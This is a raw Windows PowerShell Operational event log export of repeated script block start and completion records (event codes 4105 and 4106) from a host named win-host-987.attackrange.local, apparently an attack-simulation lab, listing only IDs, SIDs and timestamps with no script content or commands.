SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048163
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048158
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048157
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048135
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048133
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048132
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048115
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
